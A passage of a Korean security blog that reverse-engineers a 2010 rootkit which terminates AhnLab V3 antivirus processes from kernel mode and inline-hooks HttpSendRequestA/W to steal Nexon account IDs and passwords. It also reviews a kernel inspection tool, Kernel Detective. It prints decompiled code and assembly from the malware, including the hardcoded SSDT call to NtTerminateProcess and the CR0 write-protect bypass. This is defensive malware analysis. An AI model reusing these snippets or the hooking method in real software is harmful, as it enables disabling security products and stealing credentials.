  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 0;
  ObjectAttributes.ObjectName = 0;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  ClientId.UniqueProcess = a1;
  ClientId.UniqueThread = 0;
  if ( !NtOpenProcess(&Handle, 0x1F0FFFu, &ObjectAttributes, &ClientId) )
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
  return ZwClose(Handle);
}

위 코드에서 주목해야할 부분은 
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
부분입니다.

NtOpenProcess를 먼저 호출한뒤에 , NtOpenProcess가 성공한다면 STATUS_SUCCESS (0x00000000L) 이 리턴될것이고

그러면 dword_11494의 함수포인터를 호출하겠죠.
dword_11494가 무엇인지 확인해보기 위해서  코드 레퍼런스를 추적해보니  다음과 같은 디스어셈블 코드가 나왔습니다.
mov     edx, ds:KeServiceDescriptorTable
mov     eax, [edx]
add     eax, 404h

mov     [ebp+var_C], eax
mov     ecx, [ebp+var_C]
mov     edx, [ecx]
mov     dword_11494, edx


위 코드의 의미를 WinDBG에서 먹히는 명령어로 변환해보면 다음과 같습니다.
0: kd> dds poi(KeServiceDescriptorTable) + 0x404
80506864  805d49ac nt!NtTerminateProcess
80506868  805d4ba6 nt!NtTerminateThread
8050686c  805d6c0c nt!NtTestAlert
80506870  80537108 nt!NtTraceEvent
80506874  8061811e nt!NtTranslateFilePath
80506878  805862ce nt!NtUnloadDriver
8050687c  80624062 nt!NtUnloadKey
80506880  8062427c nt!NtUnloadKeyEx

0: kd> r $t0 = poi(KeServiceDescriptorTable) + 0x404
0: kd> r $t1 = poi(@$t0)

0: kd> u @$t1
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]

0: kd> r $t2 = poi(@$t1)
0: kd> r $t2
$t2=8b55ff8b  (Byte 참조 순서가 거꾸로인 이유는  IA-32 Compatible CPU는  Little Endian 방식의 메모리 참조를 하기 때문.)


자...이제 아시겠죠?
NtTerminateProcess를 커널모드에서도 호출하고 있음을 명확하게 확인할 수 있습니다.
0x404는  서비스넘버를 하드코딩한것으로 보입니다.
PsGetVersion을 호출해서 OS별로 서비스넘버를 하드코딩한게 아니라 ,
그냥  MS WindowsXP SP3 버젼을 기준으로 해서 서비스넘버를 하드코딩 한것으로 보입니다.
따라서 이 악성코드는  윈도우XP 서비스팩3 버젼이 아닌, 다른 버젼의 NT OS(Vista , 7 , XP SP2 등) 에서 실행했을 경우,
또는 다른 커널모드 보안 드라이버와 충돌할 경우  ,블루스크린이 발생할 가능성이 있습니다.



결과적으로 이 로직의 순서는 다음과 같습니다.

PsSetCreateProcessNotifyRoutine을 호출하여 , NotifyRoutine을 설치해둠.
( 프로세스 생성과 종료시 , NotifyRoutine이 실행됨)

- 아래 내용은 프로세스가 생성, 종료될때마다 실행됩니다. (NotifyRoutine) -

1. PsLookupProcessByProcessId를 호출해서 해당 프로세스의 PEPROCESS를 얻어오고, 
PEPROCESS를 인자로 넘기면서 PsGetProcessImageFileName을 호출하여 V3 관련 프로세스가 실행중인지 확인.

2. 타겟 프로세스가 발견되면 특정 목적을 수행하는 시스템쓰레드를 생성.

3. 시스템쓰레드는 KeDelayExecutionThread를 호출해서 약 5초간 쓰레드 실행을 지연시킴.

4. NtOpenProcess를 호출하여, 성공하면 핸들을 반환.(이미 후킹되어져 있기때문에 거의 성공함)

5. HANDLE값과 ExitCode 값 0을 인자로 넘기면서 , NtTerminateProcess를 호출하여  해당 프로세스 종료.

6. ZwClose를 호출해서 Usage Count를 내림.

7. 시스템쓰레드 자동 폭파.

이상으로 , 이 악성코드에서  V3관련 프로세스를 때려부수기 위한 로직은 대충 파악을 끝낸것 같습니다.




아참 , 그리고 SSDT에 수정을 가하기 위해서
MDL을 쓰느냐  , CR0 Hook을 쓰느냐  궁금해하실 분들이 계실수도 있는데,
이 루트킷에서는 CR0 Hook 방식을 사용하더군요.
정확히 말하자면  Intel IA-32 CPU의 Control Register 0번의  Write Protection Bit를  1에서 0으로 조작하는 형태입니다.
이 작업을 수행하는 코드는 이미 널리 알려진대로 다음과 같습니다.
  PUSH EAX
  MOV EAX,CR0
  AND EAX,0xFFFEFFFF
  MOV CR0,EAX
  POP EAX

참고로 이 드라이버는 아주 더럽게도  DriverUnload에 어떠한 언로드 코드도 넣어두지 않고 있습니다.
완전 더러운놈들이죠...드라이버 언로드 되도 끝까지 살아남겠다는 그 의지!
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11170;
void __stdcall sub_11170(int a1)
{
  ;
}
이런 더러운 놈들!



& Baidog.dat 추가적인 정보 &

* v3ltray.exe가 윈도우 부팅 시 자동으로 실행되지 않게끔 레지스트리에서 값을 제거하는 기능을 가지고 있음.





여기서부터는 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




*  WININET.DLL에서 제공하는 함수인  HttpSendRequestA와  HttpSendRequestW 함수를 후킹해서
넥슨 홈페이지에 ID와 비밀번호를 입력해서 로그인할때 , ID와 비밀번호를 훔쳐내는 기능을 가지고 있음.


아래는 API Inline 후킹된 모습을 나타내는 스샷입니다.
First Bytes를 Inline Patch해서  해커가 코딩한 영역으로 끌고오는 모습을 확인할 수 있습니다.



넥슨 홈페이지에 접속해서
ID에다가  THIS_IS_ID
Password 에다가 THIS_IS_PASS
라고 치고  로그인을 해보겠습니다.



고스란히  Baidog.dat 메모리 영역에  ID와 비밀번호가 찍히고 있는 모습을 확인할 수가 있습니다.
strNexon ID= 라는 문자열과  strPassword= 라는 문자열이 있는것으로 봐서  철저히 패턴 위주로 문자열을 탐색하고 있음을 짐작해볼 수 있습니다.
저 부분에 엑세스하는 모든 주소를 캡쳐해보았는데 , 브포가 걸린 지점에서 콜스택을 확인해보니 다음과 같이 나왔습니다.


0x10003488 주소에 대해서 RtlZeroMemory를 수행하던 도중에 , 중지되었습니다.

콜 스택을 확인해보니 , 다음과 같이 전개되었음을 유추할수 있겠네요.

로그인버튼 누름 ->IE에서 아이디와 비밀번호를 인자로 전달하여 , HttpSendRequestW 호출 -> HttpSendRequestW에서 해커가 코딩한 영역으로 점프함  -> 아이디와 비밀번호를 저장하는영역(배열) 을 RtlZeroMemory 를 호출해서 0으로 초기화 시킴.  -> 해당 영역을 가로챈 아이디와 비밀번호로 채움.   


HttpSendRequestW 함수가 호출되면서 인자로 strNexonId와  strPassword가 전달됨을 확인할 수 있습니다.
그런데 HttpSendRequestW는 현재 API Inline Hook 된 상태입니다.
당연히 해커가 작성한 프로그램영역으로 넘어오겠죠?
해커는 굴러들어온 인자를 적절히 문자열 컨트롤만 해주면 됩니다.
즉 , 넥슨사이트의 ID와 비밀번호 전송 알고리즘 부분은 이미 중국해커에게 모두다 분석 당한 상태이고,
중국해커는 그 부분을 이용해서 손쉽게 넥슨ID와 비밀번호를 털어내가고 있는것입니다.

위와같이 정보를 빼가는 방식은  키보드보안이나 개인방화벽의 작동여부와는 일백퍼센트 무관한 경우입니다.


결국엔 이 악성코드에 감염되고 나서 , 게임을 접속하지않고 ,  
IE를 이용해서 넥슨 관련 모든 홈페이지에 로그인 접속만 하면
넥슨계정은 털리게 될것입니다.


넥슨은 이쯤에서  사이트 리모델링을 해야될 필요성이 있습니다.
아니 , 어찌보면 우리나라가 인터넷익스플로러에 찌들었다는게 참 안타까운 현실입니다..........




** 추가정보 **
HttpSendRequestA , HttpSendRequestW 의 후킹 여부를 탐지해주는 프로그램





악성코드에 관한 정보는  많은분들께 도움이 됐으면 좋겠습니다.  (특히나 온라인게임 업계 종사자분들께)





// 2010.4.17 내용 추가


PS2. 이 글 내용과 제목이 뭔가 오해를 불러일으킬만한 소지가 있는것 같네요.
즉 , 이 글을 놓고봤을때 , 넥슨의 아이디와 비밀번호 전송 부분이 분석당해서 넥슨 계정이 대량으로 털리고있으니, 이건 넥슨 잘못이다,  라고  치부해버리는 분들이 계시는데,

여기서 저의 생각을 대략 말씀드리면

이 모든것의 시작은 악성코드 감염으로 인해서 이루어지는것이므로 ,
1차적인 책임은 유저들에 있습니다. (개인부주의로 인한 - 각종 인터넷습관 등)
무작정 넥슨의 책임으로 몰아가기에는 무리가 있다는 말입니다.
해커는 단지 사용자들이 악성코드에 감염되길 바라고 있을뿐입니다.




//2010. 6. 3 내용 추가
위 내용대로 HttpSendRequestA와  HttpSendRequestW의 후킹을 이용해서 
ID와 비밀번호를 탈취하는것은 이제 막혔습니다.
아이디와 비밀번호를 암호화해서 전송하는 방식으로 바뀌었습니다.
따라서 , 이 암호화부분이 분석되기전까지는 API 후킹을 통한 넥슨계정탈취 수법은 통하지 않을겁니다.
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by Sone 2010.03.25 23:47
Arab Team 4 Reverse Engineering  에서 Kernel Detective라는 툴을 새롭게 내놓았습니다.
사실 배포된지는 꽤 됐죠.




기능을 살펴보면 , 

- 프로세스,쓰레드 정보 조회( 숨겨진 정보까지 탐지 가능 )
- KPROCESS , KTHREAD, 조회 가능
-  KeServiceDescriptorTable , KeServiceDescriptorTableShadow 변경 여부 조회 가능
- 쓰레드별로 , SSDT , SSDT SHADOW  Change , Restore 가능 ( SSDT Relocation 탐지 가능)
- IDT 조회 가능
- 핸들 조회&닫기 가능
- Kernel Modification 탐지 가능
- Driver 조회&언로드 가능
- 올리디버거 디스어셈블 엔진 내장 (모듈, 드라이버, 쓰레드, 프로세스,  특정 어드레스의 디스어셈블 가능, 실시간 Read/Write 지원)
- DebugView 지원


이건 뭐 딱 봐도 기능들이 초강력한것을 알수 있습니다.
커널모드로 작동하는 왠만한 보안프로그램은 저리가라 수준이네요.
역시나 창과 방패의 대결은 영원히 지속되는군요...(이번엔 방패측에서 조금 고생할수도....)




위 스샷은  카스퍼스키 안티 바이러스 2010  필터 드라이버에서  SSDT와  SSDT SHADOW 를 후킹하고있는것을 탐지한 모습입니다.
네이트온 원격제어로  카스퍼스키 화면을 컨트롤하려고 했을때 , 화면 조작이 되지않는 이유가 , 바로 SSDT Shadow를 후킹하고있기 때문이죠~

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by Sone 2010.01.23 00:15
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